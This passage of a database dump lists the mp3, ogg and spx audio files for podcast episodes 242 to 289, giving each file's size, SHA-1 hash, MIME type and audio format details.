(242,'hpr0242.mp3','mp3',32358795,'1ec5fdb0138f54583e3189e2fc2c00020da90c29','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(242,'hpr0242.ogg','ogg',47839769,'32d7496f9bd7ab29cd8afedb933a12db78ccd55c','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(242,'hpr0242.spx','spx',14859585,'19fea7f2ebfebe00b39cac57b871ef0aefac19b4','application/ogg; charset=binary','Ogg data, Speex audio'),
(243,'hpr0243.mp3','mp3',2268810,'6fc618173bbea1efa120bdb47e4e048591535f97','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(243,'hpr0243.ogg','ogg',2996689,'17bbf3182d9e657f353e03bb55cb5e25e41b0dcd','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(243,'hpr0243.spx','spx',1042032,'b7fdb3833756d5fbb075e35f061e3f68dfe35cc0','application/ogg; charset=binary','Ogg data, Speex audio'),
(244,'hpr0244.mp3','mp3',7874827,'c0f3a60a44426a191bcd21dd9dd6598d274b98aa','application/octet-stream; charset=binary','Audio file with ID3 version 2.3.0'),
(244,'hpr0244.ogg','ogg',7684083,'0b69cbbc9206da1b9838a9c2f91238b5d71ae28d','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 32000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(244,'hpr0244.spx','spx',2892909,'2c6f9bfbcd75a37c45d1455e315a087aef83a20c','application/ogg; charset=binary','Ogg data, Speex audio'),
(245,'hpr0245.mp3','mp3',18804848,'5397788e0333588d2684ea2b2f86d644ef2750ce','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  64 kbps, 24 kHz, Monaural'),
(245,'hpr0245.ogg','ogg',13968091,'4f3b1242800592403907c3197c25d992bb54c72c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 24000 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(245,'hpr0245.spx','spx',8218458,'d0509989540bf033b956007a6424f02faee6729a','application/ogg; charset=binary','Ogg data, Speex audio'),
(246,'hpr0246.mp3','mp3',12721739,'5e8ff909dd6d6a7196f1189e73ebb0d06500e01f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(246,'hpr0246.ogg','ogg',9657024,'de86b0c55232e0d35467fc3a5375fac903e742a4','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(246,'hpr0246.spx','spx',2920984,'96ce5d61d45324c177643a77bc2d70bb85788e7d','application/ogg; charset=binary','Ogg data, Speex audio'),
(247,'hpr0247.mp3','mp3',32350852,'8b41c036543d94fcf9f85b423506a3f8ca447643','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(247,'hpr0247.ogg','ogg',38848740,'0a41084002ddcb3a94b94cbf8854f81878a4cf9e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(247,'hpr0247.spx','spx',14855908,'5824a3138a41ae18625188283b4b403580152572','application/ogg; charset=binary','Ogg data, Speex audio'),
(248,'hpr0248.mp3','mp3',8503189,'98ef639ffb0c47f2f5012b950e9921733cd0046d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v2,  56 kbps, 24 kHz, Stereo'),
(248,'hpr0248.ogg','ogg',6886674,'1880e59a8589f79fb7ebaba1dbc0c4448c2f27ee','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 24000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(248,'hpr0248.spx','spx',4041151,'e2bb676a8f243c4f8f5da081fddddf76100a100e','application/ogg; charset=binary','Ogg data, Speex audio'),
(249,'hpr0249.mp3','mp3',28891529,'53519c0e16332a21a678a1bfbc8e1f00b40ce466','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  32 kbps, 44.1 kHz, Stereo'),
(249,'hpr0249.ogg','ogg',20026795,'98713ce44d57ec77047bb7a6e189b5dc336d6f88','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(249,'hpr0249.spx','spx',6634353,'ec48075b7632f0c7b1cc34e97b029c7d8e4c9795','application/ogg; charset=binary','Ogg data, Speex audio'),
(250,'hpr0250.mp3','mp3',12021760,'c1679a53f03265c98fce62d504f410dd0be56536','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(250,'hpr0250.ogg','ogg',8618808,'63739d7bbdf33bc42200f9d1fa86f8d0376841f5','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(250,'hpr0250.spx','spx',2759988,'80f00c66ce3dcc8854e992f7122d49e32dd566ea','application/ogg; charset=binary','Ogg data, Speex audio'),
(251,'hpr0251.mp3','mp3',2333823,'f08e0f1c02a5f909400ff7714d8e4ac8723abe98','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(251,'hpr0251.ogg','ogg',3131032,'79f702f1434dadb7853fa66bfcd9c3e6bac7a4ff','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(251,'hpr0251.spx','spx',1071786,'0c8bbb53e8c495915cf9c7ae4f05faf6b3326853','application/ogg; charset=binary','Ogg data, Speex audio'),
(252,'hpr0252.mp3','mp3',14582134,'079df81584d8bfb490db1a048db63dfbb064bdd0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(252,'hpr0252.ogg','ogg',18035956,'e33be8fd7588610cfd4091401f1d5a765ae17178','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(252,'hpr0252.spx','spx',6696343,'f318bad29740580d004a56e5bf3603d93920f1da','application/ogg; charset=binary','Ogg data, Speex audio'),
(253,'hpr0253.mp3','mp3',8837645,'f1af0f6a62d759d5ced95f026692e194f92018fa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(253,'hpr0253.ogg','ogg',12091533,'5d1097fa5c8e04c983baf34dee5bdab2d9ca5a8a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(253,'hpr0253.spx','spx',4058049,'39353d8312262c36326bc87dc48ac3ffa5ce63c1','application/ogg; charset=binary','Ogg data, Speex audio'),
(254,'hpr0254.mp3','mp3',33215532,'b3c5db6d49234a1da0a12670a00cb200e9044711','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(254,'hpr0254.ogg','ogg',25817622,'baa858d44bd0eff448de2f4b52dd8ff8aca7ec3c','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(254,'hpr0254.spx','spx',7626444,'f2ff892e7c0e22492881adc7fea482ff0aff500f','application/ogg; charset=binary','Ogg data, Speex audio'),
(255,'hpr0255.mp3','mp3',7634339,'7dcf78ad5b766ee28984a5e74180be7fd7f73f2d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(255,'hpr0255.ogg','ogg',4618672,'aef14d6a7e968d2086cc8ec664b66291bb16e1d8','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(255,'hpr0255.spx','spx',1752605,'d518fc5f65d226ccbc4080d30e5eff532a835c39','application/ogg; charset=binary','Ogg data, Speex audio'),
(256,'hpr0256.mp3','mp3',8894559,'6c019c659909513ad70ef0ddb8b20be747d2dcc0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(256,'hpr0256.ogg','ogg',11767098,'c4544ebd76d82584a326082ed8244c4f3485e637','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(256,'hpr0256.spx','spx',4084591,'2fc5dd5f019dba77d28cd78a0657107d9f65f7ad','application/ogg; charset=binary','Ogg data, Speex audio'),
(257,'hpr0257.mp3','mp3',7553389,'8a5f50de6500ba32254bf76db97dc2f1d8f40897','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(257,'hpr0257.ogg','ogg',10549545,'b7ab3ca5fb707d0ec391e45df50b60d47562ab0a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(257,'hpr0257.spx','spx',3468298,'15def58c3f4e3511798c9d07bcfee726993b70c6','application/ogg; charset=binary','Ogg data, Speex audio'),
(258,'hpr0258.mp3','mp3',56523706,'cad808c738fd8933babbb63a313393805637d788','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(258,'hpr0258.ogg','ogg',33620887,'e3bd97a9e5e976ea186b596812c8cd9d47dbe780','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(258,'hpr0258.spx','spx',25956371,'9dea7860caa4889a5ea75f97dc968f5abe248294','application/ogg; charset=binary','Ogg data, Speex audio'),
(259,'hpr0259.mp3','mp3',30016133,'b251a59480e44f46739d2f5d8f163e3ed7429e5e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(259,'hpr0259.ogg','ogg',35488400,'d47a2d919720ee838246ea307ceda8cf4fda369e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(259,'hpr0259.spx','spx',13783780,'d78a41935be8a7a6fcf9e58d766ea08d6be820f9','application/ogg; charset=binary','Ogg data, Speex audio'),
(260,'hpr0260.mp3','mp3',3506419,'8421592d6ab52f428fd95851985d895d33fe47e3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(260,'hpr0260.ogg','ogg',4574440,'74c7002e643efc63a4fec7fdedacd8ca653c72a5','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(260,'hpr0260.spx','spx',1610286,'096afef0ff5d66fa91970acffcee57d3d7a958d3','application/ogg; charset=binary','Ogg data, Speex audio'),
(261,'hpr0261.mp3','mp3',5064781,'a9d0a98a79707c4fa2f40d1b643741eea02fdf77','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(261,'hpr0261.ogg','ogg',3825392,'33afa82ac90c965eb1bbe9a87d40c5fd4f7db2c5','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(261,'hpr0261.spx','spx',2325923,'408e1ef8af89eafb7b327f434dadc7fa1aa305cf','application/ogg; charset=binary','Ogg data, Speex audio'),
(262,'hpr0262.mp3','mp3',8746738,'c71515d53843f6a2e0054715ec2cadba27053c1c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(262,'hpr0262.ogg','ogg',11906547,'1b53dd83c422564ce6607a5c3fbee5d1191bf2c3','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(262,'hpr0262.spx','spx',4016315,'e7953011d62875d7f11c56b5ed8d428010cae7d5','application/ogg; charset=binary','Ogg data, Speex audio'),
(263,'hpr0263.mp3','mp3',27096042,'349626c0c32ba15f0960ca5bf17ea527763f8c6e','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2, 128 kbps, 22.05 kHz, Stereo'),
(263,'hpr0263.ogg','ogg',9884276,'4cb1a1045a2948dfa5f8d86099f14cc6f35dab57','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(263,'hpr0263.spx','spx',6221493,'2853116e4d65cbf12813569bd6130e2272689a1c','application/ogg; charset=binary','Ogg data, Speex audio'),
(264,'hpr0264.mp3','mp3',8129683,'a9d227fa0531f16f532a9d9ff2434ee3141505c3','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Stereo'),
(264,'hpr0264.ogg','ogg',8479125,'10b33114c52e167b47bb691467ae717a1c713bdc','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(264,'hpr0264.spx','spx',2488671,'1012a7df74aebb2b6843777864514ba90cb4f5f2','application/ogg; charset=binary','Ogg data, Speex audio'),
(265,'hpr0265.mp3','mp3',11195328,'e1d043f5ab6f99e59d9624dab7d88db725c6c4a4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v2,  64 kbps, 24 kHz, JntStereo'),
(265,'hpr0265.ogg','ogg',7719447,'e5257aa368f7bb808da856e6acbb9f4551fee015','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 24000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(265,'hpr0265.spx','spx',5140770,'4cf52ab67881199eb54f5b7014b3fb966cdf6a02','application/ogg; charset=binary','Ogg data, Speex audio'),
(266,'hpr0266.mp3','mp3',46787153,'74f1374646748dcce121f305a7b0daa49ea0fbdb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(266,'hpr0266.ogg','ogg',42961061,'04a187662b0df5311ea8e5673ce2dd1c2881ceab','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(266,'hpr0266.spx','spx',21485220,'6390ccc50c6d7f0066a048d39124f2a7b404fd31','application/ogg; charset=binary','Ogg data, Speex audio'),
(267,'hpr0267.mp3','mp3',3743035,'46fe1e0592015c43d10900f3f04f37651bc51ab9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(267,'hpr0267.ogg','ogg',2454463,'553d6c854350ff53a934dd96743a58dae77926f6','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(267,'hpr0267.spx','spx',859539,'ca977a7c09fc11adace6b4aee647105bb748b08b','application/ogg; charset=binary','Ogg data, Speex audio'),
(268,'hpr0268.mp3','mp3',4291680,'c40444169bd7c52334ab925dbb885726dd5ca7da','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v2,  64 kbps, 24 kHz, Monaural'),
(268,'hpr0268.ogg','ogg',2609678,'7076ad5d1a80e1375b9040c09963f048fcb0f0df','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 24000 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(268,'hpr0268.spx','spx',1688868,'4cbc7f722cdd1b11fecbaff8189465d915d518f4','application/ogg; charset=binary','Ogg data, Speex audio'),
(269,'hpr0269.mp3','mp3',13070989,'73d16879f4f16fcb9b5da8c396f859e5eea4d19e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(269,'hpr0269.ogg','ogg',18109206,'c4347bc38374f1c713384257fd46ed75a905cc10','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(269,'hpr0269.spx','spx',6002403,'1a570700b20413a7f462bc0c0973f281fa3ee035','application/ogg; charset=binary','Ogg data, Speex audio'),
(270,'hpr0270.mp3','mp3',30197030,'bc9bba0b0f3cfb00455de0b4766ed693b1cba571','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(270,'hpr0270.ogg','ogg',21810490,'3d65adeadf947bdc6c9ecdaad75ee655aee2b8d6','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(270,'hpr0270.spx','spx',6933088,'8638a909999292c75465d2e714fc544b0f1276bf','application/ogg; charset=binary','Ogg data, Speex audio'),
(271,'hpr0271.mp3','mp3',6072960,'5572e8e03de034b79c041afcea5d9c7568288a7c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v2,  64 kbps, 24 kHz, JntStereo'),
(271,'hpr0271.ogg','ogg',5075762,'270729b3058684cacebb8c67d1357047bed92aa1','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 24000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(271,'hpr0271.spx','spx',2788501,'1527140f315da5ae95ab83c715efafb44fd5d366','application/ogg; charset=binary','Ogg data, Speex audio'),
(272,'hpr0272.mp3','mp3',59832287,'446108d9517ebf58fa897b20619f1deb44044985','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(272,'hpr0272.ogg','ogg',36399618,'74daeec08e5a1a9c98c5a7feeadfbe68875b9e3f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(272,'hpr0272.spx','spx',27475666,'ed4e13be1c436eec7f9d6fd4cd94c6550645e993','application/ogg; charset=binary','Ogg data, Speex audio'),
(273,'hpr0273.mp3','mp3',16481428,'82a13798534cda2db618a63e4172705103d747c4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Monaural'),
(273,'hpr0273.ogg','ogg',9222718,'2f49f1c1fe1c0f307d10966b451d67b2ab4379dc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(273,'hpr0273.spx','spx',7359104,'1749dc241c99c9a1f01f13e70cc5cd25a21f1a35','application/ogg; charset=binary','Ogg data, Speex audio'),
(274,'hpr0274.mp3','mp3',11244416,'565865b97c80ab60465a80551b13b65707e05b40','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  40 kbps, 44.1 kHz, JntStereo'),
(274,'hpr0274.ogg','ogg',11854468,'d43f4de9edc49bf38696d061a66e91937e51ad5c','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(274,'hpr0274.spx','spx',4618365,'72060a47dcede806b9f9dc466c5f3634bb9bcc0b','application/ogg; charset=binary','Ogg data, Speex audio'),
(275,'hpr0275.mp3','mp3',14204160,'d31e246e1b95a656a2e20456cfe27ab340c23dd3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v2,  64 kbps, 24 kHz, JntStereo'),
(275,'hpr0275.ogg','ogg',9400380,'6f18250818de4072dbca3a02d5a1b545867c3c45','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 24000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(275,'hpr0275.spx','spx',6522445,'1bcd770eaa9bcaff1eab468e5db7581f37ef333f','application/ogg; charset=binary','Ogg data, Speex audio'),
(276,'hpr0276.mp3','mp3',26440097,'b93b095e472ec4426d78e378ab23fb199f470ec2','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(276,'hpr0276.ogg','ogg',23761354,'7d31daf6304c9a5d87252900a288932ab981925a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(276,'hpr0276.spx','spx',6070944,'99968afdfe243ab9806fe3f7e648f0165a0986fc','application/ogg; charset=binary','Ogg data, Speex audio'),
(277,'hpr0277.mp3','mp3',7003008,'f030db10b7524b994fccb4668cb85dd06bc29979','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 48 kHz, Monaural'),
(277,'hpr0277.ogg','ogg',3713315,'8e9d70321094c7b5c4f688c6345dd16a54a041d8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 48000 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(277,'hpr0277.spx','spx',1563808,'34334235f70970ef294d15e7f2de2c287dd400e9','application/ogg; charset=binary','Ogg data, Speex audio'),
(278,'hpr0278.mp3','mp3',4096080,'f784048303ceefc6ce4a6d43ddbf9cc7b279b7ea','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  64 kbps, 24 kHz, Monaural'),
(278,'hpr0278.ogg','ogg',2700833,'0e05da41f5d818c214f0b6be7ca48bc12fd79d27','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 24000 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(278,'hpr0278.spx','spx',1642705,'9d4ce8af7daca0cfcc1433f08edc357bf26ae831','application/ogg; charset=binary','Ogg data, Speex audio'),
(279,'hpr0279.mp3','mp3',16421760,'325b91cd8c35f532e536f77b87f57528814126b2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 48 kHz, JntStereo'),
(279,'hpr0279.ogg','ogg',11365021,'dcaf786eb2f3c2f191ca79276d9ce52f71ca81a4','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(279,'hpr0279.spx','spx',3770491,'f56f6aa6a133c6c6a8b30bc98b98a5311b817c09','application/ogg; charset=binary','Ogg data, Speex audio'),
(280,'hpr0280.mp3','mp3',50512564,'e53849e04962922d8fa192eaca9695bc043cac93','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(280,'hpr0280.ogg','ogg',31334393,'aefcd4fd9407417c52810471ae795a1a22480f3f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(280,'hpr0280.spx','spx',23195603,'55b03ea296eb630796a4c146f070ab3634b404c7','application/ogg; charset=binary','Ogg data, Speex audio'),
(281,'hpr0281.mp3','mp3',21291992,'0e93af0b0f14ab18fe45c36f40921449be0ce66b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 48 kHz, Stereo'),
(281,'hpr0281.ogg','ogg',15654587,'956cca533e7134378c89ae69e90650ea3d69c4ed','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(281,'hpr0281.spx','spx',4888760,'d54ed6b9412879291c6eafca90482ad2488d1dee','application/ogg; charset=binary','Ogg data, Speex audio'),
(282,'hpr0282.mp3','mp3',10344906,'be2d4c60032cb4a1a4c7ed8c93cb4dc218cb387a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(282,'hpr0282.ogg','ogg',14172071,'20abb6499e12161dcf98145cc11aba00c49e3df7','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(282,'hpr0282.spx','spx',4750556,'03e08c6e15ae94da5bb4dd129160456e81e6690a','application/ogg; charset=binary','Ogg data, Speex audio'),
(283,'hpr0283.mp3','mp3',20438640,'ec7b947036ea85bf5cdb7332825cd15027daf1be','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  96 kbps, 32 kHz, JntStereo'),
(283,'hpr0283.ogg','ogg',15264584,'0871dd0c134a9d9c13a65bc1fc4bdb2ff7d540d2','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 32000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(283,'hpr0283.spx','spx',6256968,'6ca17191541f1b711b9cec856647c0658feabb7a','application/ogg; charset=binary','Ogg data, Speex audio'),
(284,'hpr0284.mp3','mp3',43855872,'0b66e8f947f0e02dc65e1cb6b0e6d535abb1c91f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 48 kHz, Monaural'),
(284,'hpr0284.ogg','ogg',20726952,'fb30f9377a83732d83b78bc0a08d264602a637b7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 48000 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(284,'hpr0284.spx','spx',9793227,'0be26b4033ccde15bc78227f9d877ba4ccf8e940','application/ogg; charset=binary','Ogg data, Speex audio'),
(285,'hpr0285.mp3','mp3',9400380,'5dcfac88fc2637398a70a20f1818c75e1a3d8543','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  40 kbps, 44.1 kHz, JntStereo'),
(285,'hpr0285.ogg','ogg',10086929,'08ba2af5f4236af4b26dffc85153267b1c748fc9','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(285,'hpr0285.spx','spx',4151088,'70f7f0f7593aaef11644b4c001770cf2985179aa','application/ogg; charset=binary','Ogg data, Speex audio'),
(286,'hpr0286.mp3','mp3',24993021,'29c992dd765e22fd3402e5fd6e35e01193367282','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(286,'hpr0286.ogg','ogg',20695172,'65d89c272cdb02abd7c6b20023bc3155e4df9a22','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(286,'hpr0286.spx','spx',5738559,'99ccb6fb7c169e5d329973b94f524ec45f958feb','application/ogg; charset=binary','Ogg data, Speex audio'),
(287,'hpr0287.mp3','mp3',3356110,'5e63c1502242193a48bdbd816b79da7faca9119b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, JntStereo'),
(287,'hpr0287.ogg','ogg',2920229,'4cf9e5b768e726cb6c3bb8fc32e455da6e644cdd','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(287,'hpr0287.spx','spx',1540842,'907f3d6c39504386a9e6c7c08f76e8efebc8465e','application/ogg; charset=binary','Ogg data, Speex audio'),
(288,'hpr0288.mp3','mp3',56322497,'ae6d9d7c9725c8aa1473a56589a25c5b958cec44','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(288,'hpr0288.ogg','ogg',39679937,'c73b885ff90681b1378405e507ce4d8d21f5bc62','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(288,'hpr0288.spx','spx',25863943,'29722e5d30b7cb1a07a6d6f6d3272c6970a83d1e','application/ogg; charset=binary','Ogg data, Speex audio'),
(289,'hpr0289.mp3','mp3',7115424,'b98d5c34272484b820133df96a91675b77198b69','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v2,  64 kbps, 24 kHz, Monaural'),
(289,'hpr0289.ogg','ogg',4675554,'f97f3a07972dcc5776a3e7d483098e7381959f1f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 24000 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
